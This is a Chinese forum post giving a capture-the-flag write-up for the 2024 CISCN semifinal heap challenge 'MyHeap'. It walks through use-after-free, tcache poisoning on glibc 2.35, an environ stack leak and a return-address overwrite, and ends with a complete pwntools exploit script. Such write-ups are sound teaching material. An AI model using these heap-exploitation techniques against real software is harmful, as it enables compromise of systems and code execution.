首页
社区
课程
招聘
2024全国大学生信息安全竞赛(Ciscn)半决赛华南赛区Pwn题解
2024-6-14 17:34 1769

2024全国大学生信息安全竞赛(Ciscn)半决赛华南赛区Pwn题解

2024-6-14 17:34
1769

前言

找华南赛区的师傅要了一份半决赛的Pwn题,听说只有一道题。

题目很简单,可以申请任意大小chunk,并存在UAF、DoubleFree漏洞。

还给了后门函数,不过限制是edit只能写8字节的数据到chunk中。

MyHeap

逆向分析

拖入IDA分析:

image-20240614135105855.png

题目给了2.35版本的libc和ld,经典菜单题。逐个功能分析。

add函数:

image-20240614135142420

可以申请任意大小的chunk,只能同时有一个chunk指针存储在bss段。并且可以申请0x4F0大小chunk,但是没有返回指针。

delete函数:

image-20240614135246299

没有清空指针,存在UAF漏洞。

show函数:

image-20240614135313806

打印chunk中7个字节数据,进行了异或加密,解密即可。可以用来泄露libc地址和heap地址。

edit函数:

image-20240614135443563

可以修改8个字节的数据即fd指针位置。

最后给了一个后门函数:

image-20240614140028218

image-20240614140101457

可以泄露backdoor的地址,并且能够写一次16字节到chunk上,即同时覆盖fd和bk指针。

利用思路

题目保护全开,思路很清晰:

  • 存在UAF漏洞,可以泄露libc和heap基地址。
  • 可以输出backdoor函数地址,即泄露了程序基地址。(也就可以计算出bss_ptr的地址)
  • 能够覆盖一次bk指针,可以清除tcache key进行double free,实现tcache attack。

既然实现了tcache attack,就可以任意地址(0x10对齐的地址)写8字节了。

由于只能写8字节数据,并且只能在0x10对齐的地址上写,需要考虑将backdoor函数写到哪里。

2.34开始,exit删除了dl_rtld_lock_recursiveh和dl_rtld_unlock_recursive,也就是我们常说的exit_hook。

当然,更没有malloc_hook、free_hook等函数了。这里提供3个攻击思路:

  • 通过tls_dtor_list劫持exit,需要先泄露pointer_guard。
  • 更简单的方法,直接修改vtable中的 overflow 或者 xsputn 等函数。(这个题的libc中vtable不可写)
  • 泄露environ变量栈地址,然后修改返回地址为backdoor。

这里介绍第三种方法,将backdoor写回栈上的返回地址。

利用过程

编写异或解密函数:

1
2
3
4
5
6
def decrypt():
    p.recvuntil(b"the data:")
    enc = bytearray(p.recv(7))
    for i in range(7):
        enc[i] ^= (i + 153)
    return bytes(enc)

先泄露libc和heap地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# leak heap
add_chunk(0x88)
delete_chunk()
show_chunk()
heap_base = u64(decrypt().ljust(8, b'\x00')) << 12
success("heap_base = " + hex(heap_base))
 
# leak libc
add_chunk(0x418)
 
## avoid merge to top_chunk
p.sendlineafter(b"edit\n", b"1")
p.sendlineafter(b"choose?\n", b"2")
 
delete_chunk()
show_chunk()
libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000
libc.address = libc_base
environ = libc.sym['environ']
success("libc_base = " + hex(libc_base))
success("environ = " + hex(environ))

然后开始利用。

然而,使用后门函数清除key后进行double free,然后tcache poisoning,只能完成一次任意地址写。

因此,我们需要利用这一次tcache poisoning控制tcache_perthread,控制tcache的个数,实现tcache_perthread。

这样一来,由于我们可以写8个字节数据。可以控制4个tcache的个数,分别是0x20到0x50。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add_chunk(0x88)
delete_chunk()
p.sendlineafter(b"edit\n", b"5")
p.recvuntil(b"address: ")
backdoor = int(p.recv(14), 16)
elf_base = backdoor - 0x12be
success("elf_base = " + hex(elf_base))
success("backdoor = " + hex(backdoor))
p.sendafter(b'data:', p64(0) + p64(0))  # clear tcache_key
delete_chunk()
target = heap_base + 0x10
edit_chunk(p64(heap_base >> 12 ^ target))
add_chunk(0x88)
add_chunk(0x88)
delete_chunk()
edit_chunk(p64(0))

我们已经成功控制的tcache_perthread的前8字节,然后往0x20和0x30大小的tcache中分别放入一个chunk用于后续tcache poisoning。

刚才释放的tcache_perthread放入了0x290的tcache中,再次申请回来并修改对应tcache大小为2。

1
2
3
4
5
6
7
8
9
add_chunk(0x18)
delete_chunk()
 
add_chunk(0x28)
delete_chunk()
 
add_chunk(0x288)
delete_chunk()
edit_chunk(p16(2) + p16(2) + p16(0) + p16(0))

利用0x20大小的tcache泄露environ变量:

1
2
3
4
5
6
7
8
9
10
# leak stack
add_chunk(0x18)
delete_chunk()
edit_chunk(p64((heap_base >> 12) ^ environ))
add_chunk(0x18)
add_chunk(0x18)
show_chunk()
 
stack_addr = u64(decrypt().ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))

利用0x30大小的tcache控制bss段的chunk指针指向自己:

1
2
3
4
5
6
7
# bss_ptr->&bss_ptr
add_chunk(0x28)
delete_chunk()
target = elf_base + 0x4040
edit_chunk(p64((heap_base >> 12) ^ target))
add_chunk(0x28)
add_chunk(0x28)

然后,两次edit将backdoor写到返回地址:

1
2
3
4
5
6
7
8
# ret_addr->backdoor
target = stack_addr - 0x140
edit_chunk(p64(target))
 
# gdb.attach(p, 'b *$rebase(0x1494)\nc')
# pause()
 
edit_chunk(p64(backdoor))

这里说一下为什么最后一次tcache poisoning需要控制bss段上的chunk指针而不是直接控制返回地址。

glibc2.32开始引入对申请和释放tcache时地址检查,地址必须0x10对齐,因此通过bss段上的chunk指针可以绕过这个保护。

这里还存在一个问题,直接返回backdoor的话会崩,gdb调试发现:

image-20240614172202962

刚学pwn的时候ROP到system("/bin/sh")会崩,很多师傅告诉我是堆栈平衡的原因,这次仔细分析了一下。

是因为movaps这条汇编指令是SSE指令,考虑到效率问题,操作数必须0x10字节对齐。

因此,在执行system函数前,我们只需要将栈里多或少放0x8字节数据即可。

这里处理的话是让backdoor + 8,少执行一次push rbp。完整exp如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
 
elf = ELF("./pwn")
libc = ELF("./libc-2.35.so")
ld = ELF('./ld-2.35.so')
 
p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
 
 
def add_chunk(size):
    p.sendlineafter(b"edit\n", b"1")
    p.sendlineafter(b"choose?\n", b"1")
    p.sendlineafter(b"size:", str(size).encode())
 
 
def delete_chunk():
    p.sendlineafter(b"edit\n", b"2")
 
 
def show_chunk():
    p.sendlineafter(b"edit\n", b"3")
 
 
def edit_chunk(content):
    p.sendlineafter(b"edit\n", b"4")
    p.sendafter(b"data:", content)
 
 
def decrypt():
    p.recvuntil(b"the data:")
    enc = bytearray(p.recv(7))
    for i in range(7):
        enc[i] ^= (i + 153)
    return bytes(enc)
 
 
# leak heap
add_chunk(0x88)
delete_chunk()
show_chunk()
heap_base = u64(decrypt().ljust(8, b'\x00')) << 12
success("heap_base = " + hex(heap_base))
 
# leak libc
add_chunk(0x418)
p.sendlineafter(b"edit\n", b"1")
p.sendlineafter(b"choose?\n", b"2")
delete_chunk()
show_chunk()
 
libc_base = u64(decrypt().ljust(8, b'\x00')) - 0x242ce0 + 0x50000
libc.address = libc_base
environ = libc.sym['environ']
success("libc_base = " + hex(libc_base))
success("environ = " + hex(environ))
 
# tcache_perthread corruption
add_chunk(0x88)
delete_chunk()
p.sendlineafter(b"edit\n", b"5")
p.recvuntil(b"address: ")
backdoor = int(p.recv(14), 16)
elf_base = backdoor - 0x12be
success("elf_base = " + hex(elf_base))
success("backdoor = " + hex(backdoor))
p.sendafter(b'data:', p64(0) + p64(0))
delete_chunk()
target = heap_base + 0x10
edit_chunk(p64(heap_base >> 12 ^ target))
add_chunk(0x88)
add_chunk(0x88)
delete_chunk()
edit_chunk(p64(0))
 
add_chunk(0x18)
delete_chunk()
 
add_chunk(0x28)
delete_chunk()
 
add_chunk(0x288)
delete_chunk()
edit_chunk(p16(2) + p16(2) + p16(0) + p16(0))
 
# leak stack
add_chunk(0x18)
delete_chunk()
edit_chunk(p64((heap_base >> 12) ^ environ))
add_chunk(0x18)
add_chunk(0x18)
show_chunk()
 
stack_addr = u64(decrypt().ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))
 
# ret_addr -> backdoor
add_chunk(0x28)
delete_chunk()
target = elf_base + 0x4040
edit_chunk(p64((heap_base >> 12) ^ target))
add_chunk(0x28)
add_chunk(0x28)
 
target = stack_addr - 0x140
edit_chunk(p64(target))
 
# gdb.attach(p, 'b *$rebase(0x1494)\nc')
# pause()
 
edit_chunk(p64(backdoor + 8))
 
p.interactive()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 6天前 被Real返璞归真编辑 ,原因:
上传的附件:
收藏
免费 0
打赏
分享
最新回复 (1)
雪    币: 266
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
利花姬 4天前
2
1
游客
登录 | 注册 方可回帖
返回